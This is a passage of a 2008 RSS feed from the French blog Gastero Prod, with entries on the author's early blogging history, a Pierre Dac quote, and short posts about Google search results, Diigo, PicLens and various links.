Prod&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Alors pourquoi réécrire la même histoire aujourd&amp;#8217;hui, mais avec une terminologie différente, si ce n&amp;#8217;est pour s&amp;#8217;auto applaudir/féliciter/complimenter/congratuler/etc.&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb3" name="nh3" id="nh3" class="spip_note" title='[3] Rayez les mentions inutiles'&gt;3&lt;/a&gt;]&amp;nbsp;? Parce que le prétexte du calcul d&amp;#8217;antériorité par rapport à un tel &amp;#171;&amp;nbsp;&lt;a rel="nofollow" target="_blank" href="http://loiclemeur.com/" class="spip_out"&gt;étalon&lt;/a&gt;&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb4" name="nh4" id="nh4" class="spip_note" title='[4] Bin oui, furoncle &amp;#233;tait d&amp;#233;j&amp;#224; pris ici...'&gt;4&lt;/a&gt;]&amp;nbsp;&amp;#187;, c&amp;#8217;est bien gentil, mais ça laisse à penser qu&amp;#8217;avoir commencé à bloguer avant lui est un gage de qualité, alors que franchement, personne ne l&amp;#8217;a attendu pour publier n&amp;#8217;importe quoi sur le Web.&lt;/p&gt; &lt;p&gt;Mais cette nouvelle preuve de l&amp;#8217;ethnocentrisme de la blogosphère francophone&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb5" name="nh5" id="nh5" class="spip_note" title='[5] Qui ne doit rien avoir &amp;#224; envier &amp;#224; celle d'&gt;5&lt;/a&gt;] est pour moi un bon prétexte de regarder aussi en arrière, et notamment me demander à nouveau ce qui permet d&amp;#8217;identifier un blog.&lt;/p&gt; &lt;p&gt;Que mon premier site perso, dont la &lt;a rel="nofollow" target="_blank" href="http://web.archive.org/" class="spip_out"&gt;Wayback Machine&lt;/a&gt; de &lt;a rel="nofollow" target="_blank" href="http://www.archive.org/" class="spip_out"&gt;archive.org&lt;/a&gt; retrouve la plus vieille trace au &lt;a rel="nofollow" target="_blank" href="http://web.archive.org/web/19970507012424/http:/www.eisti.fr/~brush/" class="spip_out"&gt;7 mai 1997&lt;/a&gt;&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb6" name="nh6" id="nh6" class="spip_note" title='[6] Ce qui m'&gt;6&lt;/a&gt;] ne puisse pas être considéré comme un blog, sachant qu&amp;#8217;il n&amp;#8217;y avait effectivement rien d&amp;#8217;un journal chronologique là-dedans&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb7" name="nh7" id="nh7" class="spip_note" title='[7] Mais plein de choses d&amp;#233;licieuses, tant niveau contenu dont ma 7&amp;#232;me mare (...)'&gt;7&lt;/a&gt;], je veux bien. La seule partie chronologique était en fait mon &amp;mdash; lapidaire &amp;mdash; &lt;a rel="nofollow" target="_blank" href="http://web.archive.org/web/19970730195347/www.eisti.fr/~brush/CINEMA/Sceances/" class="spip_out"&gt;journal d&amp;#8217;un cinéphage&lt;/a&gt;, qui me permet surtout de voir jusqu&amp;#8217;à quel point mes goûts cinématographiques ont évolué, pas franchement la matière suffisante pour un blog.&lt;/p&gt; &lt;dl class='spip_document_509 spip_documents spip_documents_center'&gt;\r
+&lt;dt&gt;&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/IMG/png/site-perso-1997.png" title='PNG - 172.9 ko'&gt;&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L400xH202/site-perso-1997-33dd2-1214385209.png' width='400' height='202' alt='PNG - 172.9 ko' style='height:202px;width:400px;'/&gt;&lt;/a&gt;&lt;/dt&gt;\r
+&lt;dt class='spip_doc_titre' style='width:350px;'&gt;&lt;strong&gt;Mon site perso en 1997&lt;/strong&gt;&lt;/dt&gt;\r
+&lt;/dl&gt;\r
+&lt;p&gt;Mais on peut sans doute dire que la première version de Gastero Prod, lancée sur l&amp;#8217;hébergement gratuit de Free fin 1999 à l&amp;#8217;adresse &lt;a rel="nofollow" target="_blank" href="http://gasteroprod.free.fr/" class="spip_out"&gt;gasteroprod.free.fr&lt;/a&gt; était un blog, sachant qu&amp;#8217;il s&amp;#8217;agissait d&amp;#8217;une liste anté chronologique d&amp;#8217;articles regroupés dans des thèmes, non&amp;nbsp;? La Wayback Machine n&amp;#8217;en a malheureusement aucune trace, il faut attendre le passage sur le domaine dédié &lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/" class="spip_out"&gt;gasteroprod.com&lt;/a&gt; pour qu&amp;#8217;elle commence a en avoir une trace le &lt;a rel="nofollow" target="_blank" href="http://web.archive.org/web/20010220195335/http:/www.gasteroprod.com/" class="spip_out"&gt;20 février 2001&lt;/a&gt;.&lt;/p&gt; &lt;dl class='spip_document_510 spip_documents spip_documents_center'&gt;\r
+&lt;dt&gt;&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/IMG/png/gastero-prod-2001.png" title='PNG - 125.1 ko'&gt;&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L400xH202/gastero-prod-2001-c1022-1214385211.png' width='400' height='202' alt='PNG - 125.1 ko' style='height:202px;width:400px;'/&gt;&lt;/a&gt;&lt;/dt&gt;\r
+&lt;dt class='spip_doc_titre' style='width:350px;'&gt;&lt;strong&gt;Gastero Prod en 2001&lt;/strong&gt;&lt;/dt&gt;\r
+&lt;/dl&gt;\r
+&lt;p&gt;C&amp;#8217;est donc vers fin 1999 que mon &amp;#171;&amp;nbsp;site perso&amp;nbsp;&amp;#187; est devenu un &amp;#171;&amp;nbsp;blog&amp;nbsp;&amp;#187;, soit&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb8" name="nh8" id="nh8" class="spip_note" title='[8] Ce qui me fait bien membre des dinoblogueurs, du coup, puisque j'&gt;8&lt;/a&gt;].&lt;/p&gt; &lt;p&gt;Sur la dernière version du site, j&amp;#8217;ai ajouté des photos et des liens, et j&amp;#8217;envisage prochainement d&amp;#8217;ajouter une nouvelle rubrique &amp;#171;&amp;nbsp;projets&amp;nbsp;&amp;#187; pour mettre en avant certaines de mes réalisations en tous genres, donc peut-on encore parler d&amp;#8217;un blog&amp;nbsp;?&lt;/p&gt; &lt;dl class='spip_document_511 spip_documents spip_documents_center'&gt;\r
+&lt;dt&gt;&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/IMG/png/gastero-prod-2008.png" title='PNG - 924.5 ko'&gt;&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L400xH205/gastero-prod-2008-3e6e5-1214385217.png' width='400' height='205' alt='PNG - 924.5 ko' style='height:205px;width:400px;'/&gt;&lt;/a&gt;&lt;/dt&gt;\r
+&lt;dt class='spip_doc_titre' style='width:350px;'&gt;&lt;strong&gt;Gastero Prod en 2008&lt;/strong&gt;&lt;/dt&gt;\r
+&lt;/dl&gt;\r
+&lt;p&gt;Bon, de toute façon on voit bien que des dinoblogueurs bien moins anciens que moi sont plus consultés, et à raison, donc à quoi bon lutter... &lt;img alt=";-)" title=";-)" class="no_image_filtrer format_png" src="http://www.gasteroprod.com/plugins/zone/_stable_/couteau_suisse/img/smileys/clin_d-oeil.png" width="19" height="19"/&gt;&lt;/p&gt;&lt;/div&gt; &lt;div style="border:1px solid #333;"&gt;&lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh1" name="nb1" class="spip_note" title="Notes 1"&gt;1&lt;/a&gt;] Ca pète grave, d&amp;#8217;avoir une page sur soi dans Wikipedia&amp;nbsp;!&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh2" name="nb2" class="spip_note" title="Notes 2"&gt;2&lt;/a&gt;] Où la mise en évidence colorée des types d&amp;#8217;événement à malheureusement sauté&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh3" name="nb3" class="spip_note" title="Notes 3"&gt;3&lt;/a&gt;] Rayez les mentions inutiles&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh4" name="nb4" class="spip_note" title="Notes 4"&gt;4&lt;/a&gt;] Bin oui, &lt;a rel="nofollow" target="_blank" href="http://www.myspace.com/" class="spip_out"&gt;furoncle&lt;/a&gt; était déjà pris &lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/blog/halte-au-vol-de-bande-passante.html" class="spip_in"&gt;ici&lt;/a&gt;...&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh5" name="nb5" class="spip_note" title="Notes 5"&gt;5&lt;/a&gt;] Qui ne doit rien avoir à envier à celle d&amp;#8217;autres cultures&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh6" name="nb6" class="spip_note" title="Notes 6"&gt;6&lt;/a&gt;] Ce qui m&amp;#8217;aurait clairement fait membre des dinoblogueurs, puisque &lt;a rel="nofollow" target="_blank" href="http://www.timeanddate.com/date/durationresult.html?d1=7&amp;amp;m1=05&amp;amp;y1=1997&amp;amp;d2=29&amp;amp;m2=9&amp;amp;y2=2003" class="spip_out"&gt;j&amp;#8217;aurais commencé au moins 6 ans, 4 mois et 22 jours avant LLM (soit LLM-2336)&lt;/a&gt;...&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh7" name="nb7" class="spip_note" title="Notes 7"&gt;7&lt;/a&gt;] Mais plein de choses délicieuses, tant niveau contenu dont ma &lt;a rel="nofollow" target="_blank" href="http://web.archive.org/web/19970730195323/www.eisti.fr/~brush/CINEMA/7emeMareAuxGrenouilles/index.shtml" class="spip_out"&gt;7ème mare aux grenouilles&lt;/a&gt; dédiée aux réalisateurs de cinéma français que j&amp;#8217;aimais et aime toujours, que niveau technique comme des &lt;i&gt;frames&lt;/i&gt;, dont certaines avec un fond dont la couleur changeait cycliquement via du JavaScript, et surtout un vrai &lt;a rel="nofollow" target="_blank" href="http://web.archive.org/web/19970730152523/www.eisti.fr/~brush/cgi-bin/forum" class="spip_out"&gt;forum&lt;/a&gt;, alors développé en CGI avec des scripts &lt;i&gt;shell&lt;/i&gt;, avant l&amp;#8217;adoption rapide de PHP et le lancement du projet libre &lt;a rel="nofollow" target="_blank" href="http://sf.net/projects/phpmychat/" class="spip_out"&gt;phpMyChat&lt;/a&gt;...&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh8" name="nb8" class="spip_note" title="Notes 8"&gt;8&lt;/a&gt;] Ce qui me fait bien membre des dinoblogueurs, du coup, puisque &lt;a rel="nofollow" target="_blank" href="http://www.timeanddate.com/date/durationresult.html?d1=1&amp;amp;m1=12&amp;amp;y1=1999&amp;amp;d2=29&amp;amp;m2=9&amp;amp;y2=2003" class="spip_out"&gt;j&amp;#8217;ai commencé au moins 3 ans, 9 mois et 28 jours avant LLM (soit LLM-1398)&lt;/a&gt;...&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/309897480" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/309915594" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/les-dinosaures-du-web-francophone-sont-gateux-et-je-me-fais-virtuellement-vieux.html</guid>\r
+         <pubDate>Wed, 11 Jun 2008 12:35:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fles-dinosaures-du-web-francophone-sont-gateux-et-je-me-fais-virtuellement-vieux.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/les-dinosaures-du-web-francophone-sont-gateux-et-je-me-fais-virtuellement-vieux.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Citation de Pierre Dac</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/309775100/citation-de-pierre-dac.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Tout corps plongé dans un flux d&amp;#8217;emmerdements pivote de façon à lui offrir sa surface maximale.&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/309764072" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/309775100" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/citation-de-pierre-dac.html</guid>\r
+         <pubDate>Wed, 11 Jun 2008 08:39:09 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fcitation-de-pierre-dac.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/citation-de-pierre-dac.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : List Reply-To considered harmful</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/308711075/listreplyto.html</link>\r
+         <description>Mettre l'adresse d'une mailing-list en adresse de réponse systématique est vraiment une très mauvaise idée !&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/308711075" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_6956f789aea38ce0f9658a8d45f28b6b</guid>\r
+         <pubDate>Tue, 10 Jun 2008 02:15:24 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fmarc.merlins.org%2Fnetrants%2Flistreplyto.html</feedburner:awareness><feedburner:origLink>http://marc.merlins.org/netrants/listreplyto.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Gravatar runs on PHP, previously on Rails</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/308683144/big-changes-afoot</link>\r
+         <description>Privilégier les compétences internes, plus que la hype : "Our decision on this matter had nothing to do with Ruby, or Rails — in fact we have a great respect for both! The reason [...] we switched is that PHP is our core competency at Automattic."&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/308683144" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_dd7360accdd833d0fc51df91cdb6b76f</guid>\r
+         <pubDate>Tue, 10 Jun 2008 01:17:16 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fblog.gravatar.com%2F2008%2F03%2F14%2Fbig-changes-afoot</feedburner:awareness><feedburner:origLink>http://blog.gravatar.com/2008/03/14/big-changes-afoot</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : The Filter</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/307940716/</link>\r
+         <description>Soit j'ai pas compris comment ça marche, soit la bonne idée de The Filter (par Peter Gabriel) est complètement détruite par l'impossibilité d'écouter plus que l'intro des morceaux...&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/307940716" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_d6d0e83d617f990f63318123cf5a0ab0</guid>\r
+         <pubDate>Mon, 09 Jun 2008 03:32:03 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.thefilter.com%2F</feedburner:awareness><feedburner:origLink>http://www.thefilter.com/</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Race Driver: GRID</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/307921593/test-race-driver-grid-page2.html</link>\r
+         <description>Énorme déception, aucun mode de jeu en écran partagé n’a été inclus, une tendance qui semble se répandre de plus en plus depuis quelques temps… quelle alternative ?&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/307921593" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_8a3cdd4bc9ae81d27fc766ab403e457e</guid>\r
+         <pubDate>Mon, 09 Jun 2008 02:41:22 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.playfrance.com%2Fps3%2Ftest-race-driver-grid-page2.html</feedburner:awareness><feedburner:origLink>http://www.playfrance.com/ps3/test-race-driver-grid-page2.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Google s'emmêle les pinceaux</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/307971897/google-s-emmele-les-pinceaux.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;En regardant les statistiques de consultation du site, et notamment les liens entrants&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb1" name="nh1" id="nh1" class="spip_note" title='[1] referers en anglais'&gt;1&lt;/a&gt;], je trouve régulièrement des recherches faites sur Google qui ont conduit chez moi alors que cela n&amp;#8217;est pas du tout pertinent. Là, Google a carrément orienté son utilisateur vers une ressource expliquant potentiellement l&amp;#8217;inverse de ce qu&amp;#8217;il demandait.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;dl class='spip_document_507 spip_documents spip_documents_center'&gt;\r
+&lt;dt&gt;&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/IMG/png/google-contresens-dotclear-spip.png" title='PNG - 168.6 ko'&gt;&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L400xH313/google-contresens-dotclear-spip-69b44-1214385221.png' width='400' height='313' alt='PNG - 168.6 ko' style='height:313px;width:400px;'/&gt;&lt;/a&gt;&lt;/dt&gt;\r
+&lt;dt class='spip_doc_titre' style='width:350px;'&gt;&lt;strong&gt;De dotClear vers SPIP, ou l&amp;#8217;inverse&amp;nbsp;?&lt;/strong&gt;&lt;/dt&gt;\r
+&lt;/dl&gt;\r
+&lt;p&gt;Alors, à quand une véritable analyse des requêtes des utilisateurs, plutôt qu&amp;#8217;une simple addition des recherches des différents mots clefs&amp;nbsp;?&lt;/p&gt;&lt;/div&gt; &lt;div style="border:1px solid #333;"&gt;&lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh1" name="nb1" class="spip_note" title="Notes 1"&gt;1&lt;/a&gt;] &lt;i&gt;referers&lt;/i&gt; en anglais&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/307951479" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/307971897" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/google-s-emmele-les-pinceaux.html</guid>\r
+         <pubDate>Mon, 09 Jun 2008 02:50:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fgoogle-s-emmele-les-pinceaux.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/google-s-emmele-les-pinceaux.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Diigo l'ultra social permet de s'ajouter comme son propre ami</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/306763862/diigo-l-ultra-social-permet-de-s-ajouter-comme-son-propre-ami.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;&lt;a rel="nofollow" target="_blank" href="http://www.diigo.com/" class="spip_out"&gt;Diigo&lt;/a&gt; est le système de &lt;i&gt;bookmarking&lt;/i&gt; social du type &lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/tags/blogmarks" class="spip_in"&gt;Blogmarks&lt;/a&gt; ou &lt;a rel="nofollow" target="_blank" href="http://del.icio.us/" class="spip_out"&gt;Del.icio.us&lt;/a&gt; que j&amp;#8217;utilise maintenant, après avoir utilisé un temps chacun de ces deux derniers. Diigo leur est en effet bien supérieur sur différents aspects, mais ce n&amp;#8217;est pas l&amp;#8217;aspect social ici illustré qui m&amp;#8217;a le plus convaincu de l&amp;#8217;utiliser.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;Diigo est donc un système social, et comme tout bon système social Web 2.0, il permet de gérer sa liste d&amp;#8217;&amp;#171;&amp;nbsp;amis&amp;nbsp;&amp;#187;, c&amp;#8217;est à dire à peu près n&amp;#8217;importe qui pouvant nous faire croire que l&amp;#8217;on est important.&lt;/p&gt; &lt;p&gt;Et là où Diigo innove vraiment par rapport à sa nombreuse concurrence, c&amp;#8217;est qu&amp;#8217;il permet de s&amp;#8217;ajouter soi-même comme ami, sans doute histoire de satisfaire même ceux qui n&amp;#8217;arrivent désespérément pas à se trouver des amis virtuels&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_499 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L328xH369/diigo-who-is-your-closest-friend-1212511660.png' width='328' height='369' alt="" style='height:369px;width:328px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Et on dira après ça que les Internautes sont refermés sur eux-mêmes, asociaux... &lt;img alt=";-)" title=";-)" class="no_image_filtrer format_png" src="http://www.gasteroprod.com/plugins/zone/_stable_/couteau_suisse/img/smileys/clin_d-oeil.png" width="19" height="19"/&gt;&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/306754034" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/306763862" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/diigo-l-ultra-social-permet-de-s-ajouter-comme-son-propre-ami.html</guid>\r
+         <pubDate>Sat, 07 Jun 2008 00:48:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fdiigo-l-ultra-social-permet-de-s-ajouter-comme-son-propre-ami.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/diigo-l-ultra-social-permet-de-s-ajouter-comme-son-propre-ami.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Walt Disney World Resort in 3D</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/305460687/3dParks</link>\r
+         <description>Il est maintenant possible de se balader dans le parc Disney World depuis son canapé, grâce à Google Earth, énorme !&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/305460687" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_696e7b9fd661debd1caa0f78cf7e97df</guid>\r
+         <pubDate>Thu, 05 Jun 2008 08:52:33 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.disneyworld.com%2F3dParks</feedburner:awareness><feedburner:origLink>http://www.disneyworld.com/3dParks</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : PicLens fonctionne maintenant sur Gastero Prod</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/303901516/piclens-fonctionne-maintenant-sur-gastero-prod.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Je vous ai déjà parlé plusieurs fois de &lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/tags/piclens" class="spip_in"&gt;PicLens&lt;/a&gt;, cet outil génial de navigation dans des galeries d&amp;#8217;images, disponible comme &lt;a rel="nofollow" target="_blank" href="http://www.cooliris.com/site/support/download-all-products.php" class="spip_out"&gt;extension/plugin de différents navigateurs&lt;/a&gt;, y compris la toute dernière version 3 RC 1 de Firefox&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb1-1" name="nh1-1" id="nh1-1" class="spip_note" title='[1] Qui est presque aussi instable sur Mac OS X que la beta 5, soit dit en (...)'&gt;1&lt;/a&gt;]. Cet outil est supporté par un certains nombre de services en ligne de partage de photos, et il est très simple de l&amp;#8217;&lt;a rel="nofollow" target="_blank" href="http://piclens.com/lite/webmasterguide.php" class="spip_out"&gt;intégrer à son propre site&lt;/a&gt;, ce que j&amp;#8217;ai fait.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;&lt;span class='spip_document_500 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L300xH78/piclens-1212512562.jpg' width='300' height='78' alt="" style='height:78px;width:300px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Si vous n&amp;#8217;avez pas encore installé PicLens, vous verrez par exemple ceci sur la page d&amp;#8217;accueil de Gastero Prod&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_502 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L227xH174/piclens-sans-1212512847.png' width='227' height='174' alt="" style='height:174px;width:227px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Si par contre vous avez eu la bonne idée de l&amp;#8217;installer, vous verrez ceci en survolant une des photos&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_503 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L228xH177/piclens-avec-1212512857.png' width='228' height='177' alt="" style='height:177px;width:228px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Cliquez sur la flèche, et vous vous retrouverez dans l&amp;#8217;interface splendide de PicLens pour naviguer dans mes photos&amp;nbsp;:&lt;/p&gt; &lt;dl class='spip_document_504 spip_documents spip_documents_center'&gt;\r
+&lt;dt&gt;&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/IMG/png/piclens-inside1.png" title='PNG - 485.9 ko'&gt;&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L400xH250/piclens-inside1-9d684-1214385232.png' width='400' height='250' alt='PNG - 485.9 ko' style='height:250px;width:400px;'/&gt;&lt;/a&gt;&lt;/dt&gt;\r
+&lt;dt class='spip_doc_titre' style='width:350px;'&gt;&lt;strong&gt;En cliquant sur la photo du site, on arrive sur la mozaïque mettant en avant la photo en question&lt;/strong&gt;&lt;/dt&gt;\r
+&lt;/dl&gt;\r
+&lt;dl class='spip_document_505 spip_documents spip_documents_center'&gt;\r
+&lt;dt&gt;&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/IMG/png/piclens-inside2.png" title='PNG - 413.5 ko'&gt;&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L400xH250/piclens-inside2-fed38-1214385236.png' width='400' height='250' alt='PNG - 413.5 ko' style='height:250px;width:400px;'/&gt;&lt;/a&gt;&lt;/dt&gt;\r
+&lt;dt class='spip_doc_titre' style='width:350px;'&gt;&lt;strong&gt;On peut ajuster le zoom à loisir et se déplacer dans la mozaïque avec un effet 3D du plus bel effet&lt;/strong&gt;&lt;/dt&gt;\r
+&lt;/dl&gt;\r
+&lt;dl class='spip_document_506 spip_documents spip_documents_center'&gt;\r
+&lt;dt&gt;&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/IMG/png/piclens-inside3.png" title='PNG - 866.3 ko'&gt;&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L400xH250/piclens-inside3-16d4b-1214385244.png' width='400' height='250' alt='PNG - 866.3 ko' style='height:250px;width:400px;'/&gt;&lt;/a&gt;&lt;/dt&gt;\r
+&lt;dt class='spip_doc_titre' style='width:350px;'&gt;&lt;strong&gt;Et on peut mettre la photo en plein écran avec un petit carousel à la place de la mozaïque&lt;/strong&gt;&lt;/dt&gt;\r
+&lt;/dl&gt;\r
+&lt;p&gt;Evidemment, c&amp;#8217;est le genre de démonstration qui passe beaucoup mieux avec un screencast qu&amp;#8217;avec des copies d&amp;#8217;écrans, mais je ne suis pas encore outillé pour...&lt;/p&gt;&lt;/div&gt; &lt;div style="border:1px solid #333;"&gt;&lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh1-1" name="nb1-1" class="spip_note" title="Notes 1-1"&gt;1&lt;/a&gt;] Qui est presque aussi instable sur Mac OS X que la &lt;i&gt;beta&lt;/i&gt; 5, soit dit en passant&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/303882104" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/303901516" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/piclens-fonctionne-maintenant-sur-gastero-prod.html</guid>\r
+         <pubDate>Thu, 05 Jun 2008 11:14:00 PDT</pubDate>\r
